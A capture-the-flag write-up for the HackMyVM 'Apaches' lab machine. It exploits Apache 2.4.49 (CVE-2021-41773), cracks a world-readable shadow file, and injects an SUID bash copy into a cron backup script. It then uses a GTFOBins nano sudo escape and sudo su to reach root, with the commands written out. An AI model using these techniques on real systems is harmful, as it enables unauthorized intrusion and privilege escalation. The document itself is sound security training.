“This machine is an easy machine. It should not be difficult gaining the root.”
This machine can be downloaded from HackMyVM. You don’t need to create an account, you only need an account to submit the user/root flags and access the rest of the platform.
To set up this machine inside Proxmox, I used the following resource as a reference: https://benheater.com/proxmox-lab-adding-vulnhub-vms/. Additionally, I had to fix some DHCP issues when booting the machines using the following resources: https://benheater.com/proxmox-lab-adding-hackmyvm-boxes/.
Finally, I set up a simple DHCP server to assign an IP address from my Kali machine to the vulnerable VM. Here’s my own guide on how to configured it based on a previous writeup for the Kioptrix series: Kioptrix Level 2 (1.1).
After everything has been set up, we can start our VM and escalate to root!
Enumeration
Starting with nmap, we can see an HTTP service open.
└─$ nmap 10.0.1.110 -p- -T4 -oN all-ports
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-31 13:01 MDT
Nmap scan report for 10.0.1.110
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: BC:24:11:FA:09:1E (Proxmox Server Solutions GmbH)
Nmap done: 1 IP address (1 host up) scanned in 1.07 secondsThe landing page looks pretty standard.
To start our web enumeration, let's use whatweb to see what technologies are being used here:
└─$ whatweb http://10.0.1.110/
http://10.0.1.110/ [200 OK] Apache[2.4.49], Bootstrap, Country[RESERVED][ZZ], Email[info@apaches.ctf], HTML5, HTTPServer[Unix][Apache/2.4.49 (Unix)], IP[10.0.1.110], JQuery[1.10.2], Lightbox, Script, Title[Apaches]Apache version looks interesting, let's go back to that later. Looking for additional directories with gobuster, we can't really find anything interesting, asides from directories hosting media used in the website.
Is there anything interesting in robots.txt?
The base64-encoded text reveals the following message:
└─$ echo "IOKAnFlvdSBrbm93IHlvdXIgcGF0aCwgY2hpbGQsIG5vdyBmb2xsb3cgaXQu4oCdCi0tIFBvY2Fob250YXMg" | base64 -d
“You know your path, child, now follow it.”
-- PocahontasThis hint appears to make a reference to a Path Traversal vulnerability...
Going back to the Apache version we found, it seems that this specific version of Apache is vulnerable to CVE-2021-41773, described as a "Path Traversal & Remote Code Execution (RCE)" vulnerability! I found a GitHub PoC with a payload pointing to /bin/sh, which should give me a shell in the machine (GitHub).
Let's test our the payload...
└─$ python CVE-2021-41773.py -t 10.0.1.110
--------------------------------------------------------
| Apache2 2.4.49 - Exploit |
--------------------------------------------------------
>>> whoami
daemonGreat, we have a shell as daemon! However, it seems that I can't do much inside this shell. Let's try getting a shell as another user.
daemon -> squanto
First, we need to know which accounts are available as a target for lateral movement. Looking into the /home directory, we can see many accounts containing a user.txt flag, which is our user flag. Additionally, we can find a few interesting files inside the home directories of a few users.
Doing some deeper enumeration, we can find that the /etc/shadow file is world-readable! We can extract the password hashes from each account and attempt to crack them.
>>> ls -l /etc/shadow
-rw-r--r-- 1 root shadow 1434 Oct 10 2022 /etc/shadowLet's try to get any passwords for the machine's users with John the Ripper.
└─$ unshadow passwd shadow > mypasswd
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt mypasswd
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iamtheone (squanto)After a few minutes, we get our first password! Now, we can ssh as the squanto user.
squanto -> sacagawea
We can observe that our user belongs to another group: Lipan.
squanto@apaches:~$ id
uid=1001(squanto) gid=1001(squanto) groups=1001(squanto),1004(Lipan)Can this specific group read/write into any files?
squanto@apaches:~$ find / -type f -group Lipan -perm /g+w 2>/dev/null
/home/sacagawea/Scripts/backup.shWe can write to a script owned by another user! This script looks quite ordinary...
squanto@apaches:~$ cat /home/sacagawea/Scripts/backup.sh
#!/bin/bash
rm -rf /home/sacagawea/Backup/Backup.tar.gz
tar -czvf /home/sacagawea/Backup/Backup.tar.gz /usr/local/apache2.4.49/htdocs
chmod 700 /home/sacagawea/Backup/Backup.tar.gzWhen is this script executed? It looks like a script that is run periodically for backup purposes. Let's check cron files to find if this script is part of a cronjob.
We can modify this script to get a shell as sacagawea by creating a copy of /bin/bash with SUID perms for that user.
squanto@apaches:~$ cat /home/sacagawea/Scripts/backup.sh
#!/bin/bash
rm -rf /home/sacagawea/Backup/Backup.tar.gz
tar -czvf /home/sacagawea/Backup/Backup.tar.gz /usr/local/apache2.4.49/htdocs
chmod 700 /home/sacagawea/Backup/Backup.tar.gz
cp /bin/bash /tmp/bash1 && chmod +s /tmp/bash1After the cronjob runs, we can simply run /tmp/bash1 -p to get a shell as sacagawea.
squanto@apaches:~$ /tmp/bash1 -p
bash1-5.0$ id
uid=1001(squanto) gid=1001(squanto) euid=1002(sacagawea) egid=1002(sacagawea) groups=1002(sacagawea),1001(squanto),1004(Lipan)The user flag is stored here as user.txt!
sacagawea -> pocahontas
Looking into this user's home directory, we can observe the Developmentdirectory. This directory appears to contain the contents of the website, as well as an admin directory only accessible by sacagawea.
Inside this admin directory, we can find information about future development files. Additionally, we can find more user credentials for the other users in the machine within the 2-check.php file.
Can we get a shell as any of these other users? The creds for pocahontas are valid, and I can get a shell as the pocahontas user through SSH.
pocahontas@apaches:~$ id
uid=1003(pocahontas) gid=1003(pocahontas) groups=1003(pocahontas)
pocahontas@apaches:~$ ls
user.txtpocahontas -> geronimo
The pocahontas account can execute nano as the geronimo user. This should be a straightforward way of getting access to the geronimo account.
pocahontas@apaches:~$ sudo -l
Matching Defaults entries for pocahontas on apaches:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pocahontas may run the following commands on apaches:
(geronimo) /bin/nanoThe payload to get a shell as geronimo can be found in GTFOBins.
sudo -u geronimo nano
^R^X
reset; sh 1>&0 2>&0Executing this payload will give us a shell as geronimo.
geronimo -> root
Looking at what groups geronimo belongs, we will be able to find that this user belongs to the sudo group!
$ id
uid=1000(geronimo) gid=1000(geronimo) groups=1000(geronimo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)Escalating to root becomes trivial: sudo su.
$ sudo su
root@apaches:/home/geronimo# id
uid=0(root) gid=0(root) groups=0(root)The root flag is located inside /root/root.txt.